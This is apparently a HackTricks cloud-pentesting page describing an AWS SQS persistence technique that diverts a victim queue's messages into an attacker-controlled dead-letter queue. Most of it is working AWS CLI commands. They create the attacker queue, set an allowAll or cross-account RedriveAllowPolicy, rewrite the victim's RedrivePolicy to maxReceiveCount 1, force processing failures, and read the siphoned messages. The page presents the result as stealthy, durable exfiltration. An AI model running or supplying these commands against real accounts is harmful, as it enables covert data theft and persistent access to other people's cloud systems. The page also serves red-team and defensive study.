# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

{{#include ../../../../banners/hacktricks-training.md}}

Abuse SQS Dead-Letter Queues (DLQs) to stealthily siphon data from a victim source queue by pointing its RedrivePolicy to an attacker-controlled queue. With a low maxReceiveCount and by triggering or awaiting normal processing failures, messages are automatically diverted to the attacker DLQ without changing producers or Lambda event source mappings.

## Abused Permissions
- sqs:SetQueueAttributes on the victim source queue (to set RedrivePolicy)
- sqs:SetQueueAttributes on the attacker DLQ (to set RedriveAllowPolicy)
- Optional for acceleration: sqs:ReceiveMessage on the source queue
- Optional for setup: sqs:CreateQueue, sqs:SendMessage

## Same-Account Flow (allowAll)

Preparation (attacker account or compromised principal):
```bash
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
  --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
  --attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
```

Execution (run as compromised principal in victim account):
```bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
  --queue-url "$VICTIM_SRC_URL" --region $REGION \
  --attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
```

Acceleration (optional):
```bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
  aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
    --max-number-of-messages 10 --visibility-timeout 0; \
 done
```

Validation:
```bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
  --max-number-of-messages 10 --attribute-names All --message-attribute-names All
```

Example evidence (Attributes include DeadLetterQueueSourceArn):
```json
{
  "MessageId": "...",
  "Body": "...",
  "Attributes": {
    "DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
  }
}
```

## Cross-Account Variant (byQueue)
Set RedriveAllowPolicy on the attacker DLQ to only allow specific victim source queue ARNs:
```bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
  --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
  --attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
```

## Impact
- Stealthy, durable data exfiltration/persistence by automatically diverting failed messages from a victim SQS source queue into an attacker-controlled DLQ, with minimal operational noise and no changes to producers or Lambda mappings.

{{#include ../../../../banners/hacktricks-training.md}}
